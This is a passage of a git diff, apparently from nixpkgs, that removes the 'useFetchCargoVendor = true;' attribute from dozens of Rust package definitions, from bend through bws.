index 7f0c34b0fcc0..82c1b28d5a35 100644
--- a/pkgs/by-name/be/bend/package.nix
+++ b/pkgs/by-name/be/bend/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8uBEI9GKUETk8t6Oanb0OECe3MlJ486QnccOuhIxPuY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xac5Gb0hcamT3vymq6SKaMiuEn8NU9Bfhu+t/dcjhTE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/be/bender/package.nix b/pkgs/by-name/be/bender/package.nix
index c1bd5569317b..62f82048b15d 100644
--- a/pkgs/by-name/be/bender/package.nix
+++ b/pkgs/by-name/be/bender/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-OJWYhs5QmfUC1I5OkEJAeLTpklEQyQ6024wmhv1sSnA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nZ2gchifWSmDlVJIsPcvrnUxzhyXYoA1kE9f2pZDJzs=";
 
   nativeCheckInputs = [ gitMinimal ];
diff --git a/pkgs/by-name/bf/bfc/package.nix b/pkgs/by-name/bf/bfc/package.nix
index 72a38083412d..a1fcf0e730a4 100644
--- a/pkgs/by-name/bf/bfc/package.nix
+++ b/pkgs/by-name/bf/bfc/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5pcvwCtXWEexvV3TS62dZ6Opg8ANP2L8B0Z8u/OQENU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-S8Fy0PRSUftljcX34Sj8MmlPW7Oob2yayPUA1RRxf8E=";
 
   buildInputs = [
diff --git a/pkgs/by-name/bi/bibiman/package.nix b/pkgs/by-name/bi/bibiman/package.nix
index 5cecc77e6938..2d1567814851 100644
--- a/pkgs/by-name/bi/bibiman/package.nix
+++ b/pkgs/by-name/bi/bibiman/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nyONqQmS8MvgMrq6XIuMjc8FkP9wKQu+EVnQUcSAjEo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fdUCrf6gdZZtrL93GQMnA+4ZJ8qkjsBKJJN5u4VKE1w=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/bi/bign-handheld-thumbnailer/package.nix b/pkgs/by-name/bi/bign-handheld-thumbnailer/package.nix
index c1866ff4759b..b6cbffb51dd9 100644
--- a/pkgs/by-name/bi/bign-handheld-thumbnailer/package.nix
+++ b/pkgs/by-name/bi/bign-handheld-thumbnailer/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qS1bKEkZPmNMfiLUZVlx8EAXMMYCcGGTTZFhWwlZ3gQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LyT0HDR51/bYnXtavgtff1nCKuJn41UmZuH/uJmykkk=";
 
   strictDeps = true;
diff --git a/pkgs/by-name/bi/biliup-rs/package.nix b/pkgs/by-name/bi/biliup-rs/package.nix
index 302e74f01a62..7d343668fc87 100644
--- a/pkgs/by-name/bi/biliup-rs/package.nix
+++ b/pkgs/by-name/bi/biliup-rs/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     sqlite
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4SH7ux15Sm7NJDY79x9O7oahvbjS4kZzzY/9UsLDq0U=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/bi/bindle/package.nix b/pkgs/by-name/bi/bindle/package.nix
index 88867342500c..b86cc0fff827 100644
--- a/pkgs/by-name/bi/bindle/package.nix
+++ b/pkgs/by-name/bi/bindle/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [ openssl ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cTgR1yp6TFwotm5VEG5e0O7R1zCMbQmcH2zmRmF7cjI=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/bi/bingrep/package.nix b/pkgs/by-name/bi/bingrep/package.nix
index b34902338703..3d81f8202de9 100644
--- a/pkgs/by-name/bi/bingrep/package.nix
+++ b/pkgs/by-name/bi/bingrep/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bHu3/f25U1QtRZv1z5OQSDMayOpLU6tbNaV00K55ZY8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cGDFbf8fUGbuxl8tOvKss5tqpBd1TY7TcwNzWwdw12A=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/bi/binocle/package.nix b/pkgs/by-name/bi/binocle/package.nix
index 8c35e3ff33c2..fa5fa4d2189b 100644
--- a/pkgs/by-name/bi/binocle/package.nix
+++ b/pkgs/by-name/bi/binocle/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-WAk7xIrCRfVofn4w+gP5E3wnSZbXm/6MZWlNmtoLm20=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AUmDubbi6y1SaHZazr2xZc+16SQhI6WBnPg6I7rv3K4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bi/binsider/package.nix b/pkgs/by-name/bi/binsider/package.nix
index 2ab6721f8c36..f66bc4293d36 100644
--- a/pkgs/by-name/bi/binsider/package.nix
+++ b/pkgs/by-name/bi/binsider/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FNaYMp+vrFIziBzZ8//+ppq7kwRjBJypqsxg42XwdEs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZoZbhmUeC63IZ5kNuACfRaCsOicZNUAGYABSpCkUCXA=";
 
   buildNoDefaultFeatures = !stdenv.hostPlatform.isLinux;
diff --git a/pkgs/by-name/bi/binwalk/package.nix b/pkgs/by-name/bi/binwalk/package.nix
index ebc0b937de76..03dce12fdf09 100644
--- a/pkgs/by-name/bi/binwalk/package.nix
+++ b/pkgs/by-name/bi/binwalk/package.nix
@@ -48,7 +48,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-em+jOnhCZH5EEJrhXTHmxiwpMcBr5oNU1+5IJ1H/oco=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cnJVeuvNNApEHqgZDcSgqkH3DKAr8+HkqXUH9defTCA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bi/biodiff/package.nix b/pkgs/by-name/bi/biodiff/package.nix
index db5c85034295..695ba1eed4de 100644
--- a/pkgs/by-name/bi/biodiff/package.nix
+++ b/pkgs/by-name/bi/biodiff/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1/FNMXzEQB4LM57+SccUjJ31rYB46DO8AQYQBn6B7zg=";
 
   buildInputs = [ wfa2-lib ];
diff --git a/pkgs/by-name/bi/biome/package.nix b/pkgs/by-name/bi/biome/package.nix
index b5eaa405d1c5..db95251a34b1 100644
--- a/pkgs/by-name/bi/biome/package.nix
+++ b/pkgs/by-name/bi/biome/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oK1tCPoTeUHvVdi+ym4J5xEj2NIi2zHQpNU1KUchQfY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lo4IAStdv1CW/cQYzRDLzDwsDqCwoo5xKen2Rti9kPU=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/bi/biscuit-cli/package.nix b/pkgs/by-name/bi/biscuit-cli/package.nix
index 676c2008d152..864bfe31962e 100644
--- a/pkgs/by-name/bi/biscuit-cli/package.nix
+++ b/pkgs/by-name/bi/biscuit-cli/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-BLDJ4Rzu48sAklbv021XSzmATRd+D01yGHqJt6kvjGw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3rDsgEH6tTEnAc/+8Try/z3mMBOguOTbxfXs5QIMBf4=";
 
   passthru = {
diff --git a/pkgs/by-name/bi/bitbox-bridge/package.nix b/pkgs/by-name/bi/bitbox-bridge/package.nix
index 2d1cec1e76c1..a261818bcc0d 100644
--- a/pkgs/by-name/bi/bitbox-bridge/package.nix
+++ b/pkgs/by-name/bi/bitbox-bridge/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-+pMXWXGHyyBx3N0kiro9NS0mPmSQzzBmp+pkoBLH7z0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6vD0XjGH1PXjiRjgnHWSZSixXOc2Yecui8U5FAGefBU=";
 
   postPatch = ''
diff --git a/pkgs/by-name/bi/bite/package.nix b/pkgs/by-name/bi/bite/package.nix
index 18f7073e914e..4dd3f6c0efb8 100644
--- a/pkgs/by-name/bi/bite/package.nix
+++ b/pkgs/by-name/bi/bite/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gio4J+V8achSuR2vQa2dnvOR/u4Zbb5z0UE0xP0gGCU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ESGX1hnDnU2taKQXre4AQRzQxTC7W+0cEIoQPPC9Lfs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bk/bk/package.nix b/pkgs/by-name/bk/bk/package.nix
index 54eb190890b4..ca0933b49f90 100644
--- a/pkgs/by-name/bk/bk/package.nix
+++ b/pkgs/by-name/bk/bk/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rSMvx/zUZqRRgj48TVVG7RwQT8e70m0kertRJysDY4Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-i62vUvR/iX0zKD29WsIvlcn49lcFvv2uN05oTexvPMc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bk/bkt/package.nix b/pkgs/by-name/bk/bkt/package.nix
index b425f55b1c5c..fb8f0758e7c4 100644
--- a/pkgs/by-name/bk/bkt/package.nix
+++ b/pkgs/by-name/bk/bkt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-XQK7oZfutqCvFoGzMH5G5zoGvqB8YaXSdrwjS/SVTNU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4CY2A6mPTfGhqUh+nNg6eaTIVwA9ZtgH5jHQDGHnK4c=";
 
   meta = {
diff --git a/pkgs/by-name/bl/blflash/package.nix b/pkgs/by-name/bl/blflash/package.nix
index 3371f727a374..ecdc884e4c42 100644
--- a/pkgs/by-name/bl/blflash/package.nix
+++ b/pkgs/by-name/bl/blflash/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lv5bUbq5AnZVeR8V0A4pamY9ZIQAhLmvZEr+CRMPcj0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9CTq/NFhc/pJ3CyvhidQxbWx5iHFbOZDPm3g7cz6uRU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/bl/blockstream-electrs/package.nix b/pkgs/by-name/bl/blockstream-electrs/package.nix
index 643cd76c6a90..6a25d4fbed4e 100644
--- a/pkgs/by-name/bl/blockstream-electrs/package.nix
+++ b/pkgs/by-name/bl/blockstream-electrs/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oDM4arH3aplgcS49t/hy5Rqt36glrVufd3F4tw3j1zo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-X2C69ui3XiYP1cg9FgfBbJlLLMq1SCw+oAL20B1Fs30=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bl/bluetui/package.nix b/pkgs/by-name/bl/bluetui/package.nix
index 4fd147ff5699..ce79c522a2fd 100644
--- a/pkgs/by-name/bl/bluetui/package.nix
+++ b/pkgs/by-name/bl/bluetui/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JgxzpFpz/fyFZwyxTtAkG9XB5qkxj46lUnZ3mM44dHk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1+hMo5vzgqm9Dpx9ZqRpHfQTRZV2RmqslQNub1+LFnk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bm/bmputil/package.nix b/pkgs/by-name/bm/bmputil/package.nix
index 0bee84d8ed26..f7785490e998 100644
--- a/pkgs/by-name/bm/bmputil/package.nix
+++ b/pkgs/by-name/bm/bmputil/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LKtdwQbsPNEu3EDTowOXeFmi5OHOU3kq5f5xxevBjtM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-32dTB5gOMgy6Fn62p68tAZB8AYwh1BAW+kwwuZPGJyM=";
 
   postInstall = ''
diff --git a/pkgs/by-name/bo/boa/package.nix b/pkgs/by-name/bo/boa/package.nix
index d1dc13fc8991..c3d7a51abe39 100644
--- a/pkgs/by-name/bo/boa/package.nix
+++ b/pkgs/by-name/bo/boa/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PphgRSVCj724eYAC04Orpz/klYuAhphiQ3v5TRChs+w=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/bo/boilr/package.nix b/pkgs/by-name/bo/boilr/package.nix
index b0a50817b5fd..e7f7b13656dc 100644
--- a/pkgs/by-name/bo/boilr/package.nix
+++ b/pkgs/by-name/bo/boilr/package.nix
@@ -44,7 +44,6 @@ rustPlatform.buildRustPackage.override { stdenv = clangStdenv; } rec {
     hash = "sha256-qCY/I3ACrs5mWpgN+xmWi42rF9Mzqxxce2DIA+R1RNs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9B2NcFO/Bj553yaOMi7oBZJTFtCQmBnJkU9nK+vjThU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bo/bonk/package.nix b/pkgs/by-name/bo/bonk/package.nix
index ab6d9c7e3748..dedeb11b4602 100644
--- a/pkgs/by-name/bo/bonk/package.nix
+++ b/pkgs/by-name/bo/bonk/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sAMIteNkGRqmE7BQD/TNC01K3eQQTLKuc0jcxHxtKF8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tUq+7vTVA27iQLGLXa+WJT3BARKc/Hl+D961IAvoGxw=";
 
   meta = {
diff --git a/pkgs/by-name/bo/book-summary/package.nix b/pkgs/by-name/bo/book-summary/package.nix
index 961d19229d24..11e0177635d7 100644
--- a/pkgs/by-name/bo/book-summary/package.nix
+++ b/pkgs/by-name/bo/book-summary/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dxM6bqgHp4IaG03NriHvoT3al2u5Sz/I5ajlgzpjG1c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8waVWCyjulMrXRc1nXZsiP4tMg70VZJ4wbgCQUgpX4A=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/bo/bootc/package.nix b/pkgs/by-name/bo/bootc/package.nix
index a2a7fa796bf3..21fedb6c2149 100644
--- a/pkgs/by-name/bo/bootc/package.nix
+++ b/pkgs/by-name/bo/bootc/package.nix
@@ -14,7 +14,7 @@
 rustPlatform.buildRustPackage rec {
   pname = "bootc";
   version = "1.1.2";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-/Sb2XtVguj5zpj/OTl90xFHFSaBeLgb8xIlNm4UrnRI=";
   doInstallCheck = true;
 
diff --git a/pkgs/by-name/bo/bootspec-lix/package.nix b/pkgs/by-name/bo/bootspec-lix/package.nix
index 411c3e0f1e85..96171161879b 100644
--- a/pkgs/by-name/bo/bootspec-lix/package.nix
+++ b/pkgs/by-name/bo/bootspec-lix/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-65jk8UlXZgQoxuwRcGlMnI4e+LpCJuP2TaqK+Kn4GnQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/bo/bootspec/package.nix b/pkgs/by-name/bo/bootspec/package.nix
index b34ef43d0b2a..6dfa691af98a 100644
--- a/pkgs/by-name/bo/bootspec/package.nix
+++ b/pkgs/by-name/bo/bootspec/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
 
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-65jk8UlXZgQoxuwRcGlMnI4e+LpCJuP2TaqK+Kn4GnQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/bo/bore/package.nix b/pkgs/by-name/bo/bore/package.nix
index 97f1fea7f86a..a334e4a3e3a9 100644
--- a/pkgs/by-name/bo/bore/package.nix
+++ b/pkgs/by-name/bo/bore/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "1fdnnx7d18gj4rkv1dc6q379dqabl66zks9i0rjarjwcci8m30d9";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6uIqvX50XoWCPQ8u38rUdi4LwtMTBcNuefNmzGY+vLU=";
   cargoBuildFlags = [
     "-p"
diff --git a/pkgs/by-name/bo/boringtun/package.nix b/pkgs/by-name/bo/boringtun/package.nix
index 7c76299df70c..450e6c6a62f4 100644
--- a/pkgs/by-name/bo/boringtun/package.nix
+++ b/pkgs/by-name/bo/boringtun/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-QrgKO0SVU4Z9GlNtZZmOV+Xcm1PonzLbUTGAFFOV/BM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-j1I16QC46MMxcK7rbZJgI8KiKJvF29hkuGKiYLc6uW0=";
 
   # Testing this project requires sudo, Docker and network access, etc.
diff --git a/pkgs/by-name/bo/bottom-rs/package.nix b/pkgs/by-name/bo/bottom-rs/package.nix
index 7b153dcdd84b..ab6dc5dbe623 100644
--- a/pkgs/by-name/bo/bottom-rs/package.nix
+++ b/pkgs/by-name/bo/bottom-rs/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-R1zj+TFXoolonIFa1zJDd7CdrORfzAPlxJoJVYe9xdc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ULMW/1kvq5GeMUMUTQprwcXwnRMDCbow8P6jNwSXHQ8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/bo/bottom/package.nix b/pkgs/by-name/bo/bottom/package.nix
index 980e942d66e7..7ec476b0ba8e 100644
--- a/pkgs/by-name/bo/bottom/package.nix
+++ b/pkgs/by-name/bo/bottom/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hm0Xfd/iW+431HflvZErjzeZtSdXVb/ReoNIeETJ5Ik=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-feMgkCP6e3HsOppTYLtVrRn/vbSLLRKV0hp85gqr4qM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bo/bounty/package.nix b/pkgs/by-name/bo/bounty/package.nix
index ff7d17cfe0f4..d77c8b46ef65 100644
--- a/pkgs/by-name/bo/bounty/package.nix
+++ b/pkgs/by-name/bo/bounty/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
   };
 
   cargoHash = "sha256-dlfoA5bWtyHrsviPdFd6O47D/cglvhJzChOboyu1Io0=";
-  useFetchCargoVendor = true;
 
   doCheck = true;
 
diff --git a/pkgs/by-name/bo/boxbuddy/package.nix b/pkgs/by-name/bo/boxbuddy/package.nix
index d4e2933bc4b4..3e65fdf4c693 100644
--- a/pkgs/by-name/bo/boxbuddy/package.nix
+++ b/pkgs/by-name/bo/boxbuddy/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9BGgm4yRjCarJIGP/G9gPj/qsYWb96XGJmpgLj3XCdM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2ipLO2b/mEEwSl0PSCq6m9tBhhaiDj9mXXVO4pr/78c=";
 
   # The software assumes it is installed either in flatpak or in the home directory
diff --git a/pkgs/by-name/bo/boxxy/package.nix b/pkgs/by-name/bo/boxxy/package.nix
index a6084d3ede78..dcb6898b8991 100644
--- a/pkgs/by-name/bo/boxxy/package.nix
+++ b/pkgs/by-name/bo/boxxy/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6pb3yyC4/kpe8S67B3pzsSu3PfQyOWpiYi0JTBQk3lU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L6EL8iP8FnV2WDe4bkHG/P5Zz4S9TAiw3V+XQSTABrQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bp/bpf-linker/package.nix b/pkgs/by-name/bp/bpf-linker/package.nix
index 7a4d5c30c257..6dbafda7f2fa 100644
--- a/pkgs/by-name/bp/bpf-linker/package.nix
+++ b/pkgs/by-name/bp/bpf-linker/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-accW1w0Mn9Mo9r2LrupQdgx+3850Dth8EfnnuzO+ZzM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-D1N4zQjpllQg6Nn92+HWWsSmGsOon0mygErWg3X8Gx8=";
 
   buildNoDefaultFeatures = true;
diff --git a/pkgs/by-name/bp/bpftop/package.nix b/pkgs/by-name/bp/bpftop/package.nix
index c99efa7b6992..cc34a773f68f 100644
--- a/pkgs/by-name/bp/bpftop/package.nix
+++ b/pkgs/by-name/bp/bpftop/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage.override { stdenv = clangStdenv; } {
     hash = "sha256-oilSWF3dCbJIPtkxwj76qReh5Rp8ZRiH2nVriK6d3fk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-k5cRj66OSXsCXUPWrBYrOFq8aohaB/afd8IGj0QqvuE=";
 
   buildInputs = [
diff --git a/pkgs/by-name/br/broot/package.nix b/pkgs/by-name/br/broot/package.nix
index e6a69f795a04..146fc30042e5 100644
--- a/pkgs/by-name/br/broot/package.nix
+++ b/pkgs/by-name/br/broot/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-YoTR/rj/edg2KQhPRoihA38V4XM5EM5oJtLIH6zR/38=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IFDKHsBTJFEmQ6FUG7yJmAEAVrzMvY9qbWQTnvUg274=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/br/browsers/package.nix b/pkgs/by-name/br/browsers/package.nix
index d1e96531a95d..4de3c10a08c1 100644
--- a/pkgs/by-name/br/browsers/package.nix
+++ b/pkgs/by-name/br/browsers/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qLqyv5XXG7cpW+/eNCWguqemT3G2BhnolntHi2zZJ0o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-b8sqzv7Mg8w3eA381r9vkB7yh3G8fgTvQFqmkoX4JQk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/br/brush/package.nix b/pkgs/by-name/br/brush/package.nix
index 0a9e153f19ba..97c6f4c32d71 100644
--- a/pkgs/by-name/br/brush/package.nix
+++ b/pkgs/by-name/br/brush/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-64xj9yu6OCNTnuymEd5ihdE0s8RWfrSMfTz9TlMQ6Sg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AIEgSUl3YFCa6FOgoZYpPc1qc2EOfpm1lZEQYlBgkGg=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/bu/buckle/package.nix b/pkgs/by-name/bu/buckle/package.nix
index dba26f270221..38b8619214e1 100644
--- a/pkgs/by-name/bu/buckle/package.nix
+++ b/pkgs/by-name/bu/buckle/package.nix
@@ -7,7 +7,7 @@
 rustPlatform.buildRustPackage rec {
   pname = "buckle";
   version = "1.1.0";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-2QUgyml4ebPLt0oXrdCNYIORvVyBKvsDfC+ZgsVn+cQ=";
 
   src = fetchFromGitHub {
diff --git a/pkgs/by-name/bu/buffrs/package.nix b/pkgs/by-name/bu/buffrs/package.nix
index f72a9c357b16..241e25a6285f 100644
--- a/pkgs/by-name/bu/buffrs/package.nix
+++ b/pkgs/by-name/bu/buffrs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lqSaXTuIXeuvS01i/35oLUU39FpVEpMoR3OSRstKhjI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3urjpHMW46ZnPMsiaRgRyhFOKA+080MauNESRjf/W1Y=";
 
   # Disabling tests meant to work over the network, as they will fail
diff --git a/pkgs/by-name/bu/bugstalker/package.nix b/pkgs/by-name/bu/bugstalker/package.nix
index 86135b2abd44..3b9e2a4cdc82 100644
--- a/pkgs/by-name/bu/bugstalker/package.nix
+++ b/pkgs/by-name/bu/bugstalker/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-8Iqg2coFsPQY3ws5MEC1LhTu+Z1lXeI3ccjgoBS454o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-a5YI6bOo/rsi9hZO1BcVMjJtdrYq2aHqxtlO3F+P+8s=";
 
   buildInputs = [ libunwind ];
diff --git a/pkgs/by-name/bu/bukubrow/package.nix b/pkgs/by-name/bu/bukubrow/package.nix
index 746ef775921f..4a8c4ddfccdb 100644
--- a/pkgs/by-name/bu/bukubrow/package.nix
+++ b/pkgs/by-name/bu/bukubrow/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-xz5Agsm+ATQXXgpPGN4EQ00i1t8qUlrviNHauVdCu4U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mCPJE9WW14NtahbMnDcE+0xXl5w25dzerPy3wv78l20=";
 
   buildInputs = [ sqlite ];
diff --git a/pkgs/by-name/bu/bulloak/package.nix b/pkgs/by-name/bu/bulloak/package.nix
index 8319b0115871..71bb74e575b9 100644
--- a/pkgs/by-name/bu/bulloak/package.nix
+++ b/pkgs/by-name/bu/bulloak/package.nix
@@ -40,7 +40,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OAjy8SXaD+2/C5jLNIezv/KdrPHlwJC5L1LwGhqBWQs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sdnpnKWKCJeBbooM0Qe/wccF1b3LLiTfZe4RdxbJYcs=";
 
   # tests run in CI on the source repo
diff --git a/pkgs/by-name/bu/bunbun/package.nix b/pkgs/by-name/bu/bunbun/package.nix
index 6d73ad238382..66a390b0c9d0 100644
--- a/pkgs/by-name/bu/bunbun/package.nix
+++ b/pkgs/by-name/bu/bunbun/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3f/G0Vx1uXeH3QMDVUAHWi4Pf/B88/4F+4XywVsp3/4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2pgQB2myEnLvrU3ApNL/bwaVcGku+X/TjR6YBqXD7Xg=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/bu/bunyan-rs/package.nix b/pkgs/by-name/bu/bunyan-rs/package.nix
index 0b7f2a6f57a1..d8565d81475e 100644
--- a/pkgs/by-name/bu/bunyan-rs/package.nix
+++ b/pkgs/by-name/bu/bunyan-rs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-dqhZIwxWBMXS2RgE8YynYrESVyAOIJ9ujAKcp2tDhvA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eLbfrlZWwPv1AFgwFz+IacLZrSl9/KU9zfTstwB8ol0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/bu/bupstash/package.nix b/pkgs/by-name/bu/bupstash/package.nix
index 86367d92dad7..3b3888ef7d86 100644
--- a/pkgs/by-name/bu/bupstash/package.nix
+++ b/pkgs/by-name/bu/bupstash/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-Ekjxna3u+71s1q7jjXp7PxYUQIfbp2E+jAqKGuszU6g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kWUAI25ag9ghIhn36NF+SunRtmbS0HzsZsxGJujmuG4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bw/bws/package.nix b/pkgs/by-name/bw/bws/package.nix
index 75ee85f0e5a4..0b2dcfce459c 100644
--- a/pkgs/by-name/bw/bws/package.nix
+++ b/pkgs/by-name/bw/bws/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-acS4yKppvIBiwBMoa5Ero4G9mUf8OLG/TbrZOolAwuc=";
   };
 
-  useFetchCargoVendor = true;
